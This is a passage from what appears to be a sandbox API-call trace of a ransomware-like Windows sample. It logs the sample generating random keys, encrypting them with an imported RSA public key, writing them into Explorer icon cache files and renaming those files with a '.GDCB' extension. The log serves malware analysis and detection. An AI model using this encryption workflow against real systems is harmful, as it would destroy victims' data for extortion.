data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000012.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.069] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0186.070] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.071] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.071] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.071] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.071] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0186.072] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.073] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.073] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.073] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.073] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0186.075] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ee98) returned 1 [0186.075] CryptGetKeyParam (in: hKey=0x4f7ee98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.075] CryptEncrypt (in: hKey=0x4f7ee98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5d80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.076] GetLastError () returned 0x0 [0186.076] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.076] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.078] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7eed8) returned 1 [0186.078] CryptGetKeyParam (in: hKey=0x4f7eed8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.078] CryptEncrypt (in: hKey=0x4f7eed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5d90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5d90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.078] GetLastError () returned 0x0 [0186.078] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.078] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.084] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.086] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.087] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.087] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.087] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.087] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0186.088] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.089] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.089] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.089] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.089] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.092] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f218) returned 1 [0186.092] CryptGetKeyParam (in: hKey=0x4f7f218, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.092] CryptEncrypt (in: hKey=0x4f7f218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5da0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5da0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.092] GetLastError () returned 0x0 [0186.092] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.092] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.094] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f298) returned 1 [0186.094] CryptGetKeyParam (in: hKey=0x4f7f298, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.094] CryptEncrypt (in: hKey=0x4f7f298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5db0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5db0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.094] GetLastError () returned 0x0 [0186.094] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.094] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_1280.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_1280.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.096] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5dc0000 [0186.098] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5dd0000 [0186.099] ReadFile (in: hFile=0x514, lpBuffer=0x5dd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5dd0000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.107] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5ee0000 [0186.108] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5ef0000 [0186.109] VirtualFree (lpAddress=0x5ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.110] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.110] WriteFile (in: hFile=0x514, lpBuffer=0x5ef0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5ef0000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.111] VirtualFree (lpAddress=0x5ef0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.111] VirtualFree (lpAddress=0x5dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.115] WriteFile (in: hFile=0x514, lpBuffer=0x5da0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5da0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.115] WriteFile (in: hFile=0x514, lpBuffer=0x5db0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5db0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.115] WriteFile (in: hFile=0x514, lpBuffer=0x5dc0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5dc0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.115] CloseHandle (hObject=0x514) returned 1 [0186.116] VirtualFree (lpAddress=0x5dc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.116] VirtualFree (lpAddress=0x5da0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.117] VirtualFree (lpAddress=0x5db0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.118] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_1280.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_1280.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_1280.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_1280.db.gdcb")) returned 1 [0186.123] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.125] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.126] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.126] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.126] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.127] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.127] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.127] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.128] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.128] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.130] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f318) returned 1 [0186.130] CryptGetKeyParam (in: hKey=0x4f7f318, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.130] CryptEncrypt (in: hKey=0x4f7f318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5da0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5da0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.130] GetLastError () returned 0x0 [0186.130] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.130] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.132] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ef18) returned 1 [0186.132] CryptGetKeyParam (in: hKey=0x4f7ef18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.132] CryptEncrypt (in: hKey=0x4f7ef18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5db0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5db0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.132] GetLastError () returned 0x0 [0186.132] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.132] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_16.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_16.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.134] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5dc0000 [0186.136] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5dd0000 [0186.137] ReadFile (in: hFile=0x514, lpBuffer=0x5dd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5dd0000*, lpNumberOfBytesRead=0x285d3e8*=0x100000, lpOverlapped=0x0) returned 1 [0186.213] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x5ee0000 [0186.250] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_16.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_16.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_16.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_16.db.gdcb")) returned 1 [0186.255] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0186.256] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.257] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.257] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.257] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0186.257] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0186.259] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.259] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.260] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.260] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.260] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.263] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f398) returned 1 [0186.263] CryptGetKeyParam (in: hKey=0x4f7f398, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.263] CryptEncrypt (in: hKey=0x4f7f398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5da0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5da0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.263] GetLastError () returned 0x0 [0186.263] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.263] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.265] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f458) returned 1 [0186.265] CryptGetKeyParam (in: hKey=0x4f7f458, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.265] CryptEncrypt (in: hKey=0x4f7f458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5db0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5db0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.266] GetLastError () returned 0x0 [0186.266] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.266] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_1920.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_1920.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.268] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5dc0000 [0186.269] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5dd0000 [0186.270] ReadFile (in: hFile=0x514, lpBuffer=0x5dd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5dd0000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.275] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5ee0000 [0186.275] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5ef0000 [0186.276] VirtualFree (lpAddress=0x5ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.277] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.277] WriteFile (in: hFile=0x514, lpBuffer=0x5ef0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5ef0000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.277] VirtualFree (lpAddress=0x5ef0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.278] VirtualFree (lpAddress=0x5dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.281] WriteFile (in: hFile=0x514, lpBuffer=0x5da0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5da0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.281] WriteFile (in: hFile=0x514, lpBuffer=0x5db0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5db0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.281] WriteFile (in: hFile=0x514, lpBuffer=0x5dc0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5dc0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.281] CloseHandle (hObject=0x514) returned 1 [0186.282] VirtualFree (lpAddress=0x5dc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.283] VirtualFree (lpAddress=0x5da0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.284] VirtualFree (lpAddress=0x5db0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.284] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_1920.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_1920.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_1920.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_1920.db.gdcb")) returned 1 [0186.289] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.291] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.292] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.292] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.292] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.292] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.293] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.294] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.294] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.294] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.294] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.297] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f3d8) returned 1 [0186.297] CryptGetKeyParam (in: hKey=0x4f7f3d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.297] CryptEncrypt (in: hKey=0x4f7f3d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5da0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5da0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.297] GetLastError () returned 0x0 [0186.297] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.297] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.299] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f498) returned 1 [0186.299] CryptGetKeyParam (in: hKey=0x4f7f498, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.299] CryptEncrypt (in: hKey=0x4f7f498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5db0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5db0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.299] GetLastError () returned 0x0 [0186.299] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.299] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_256.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_256.db"), 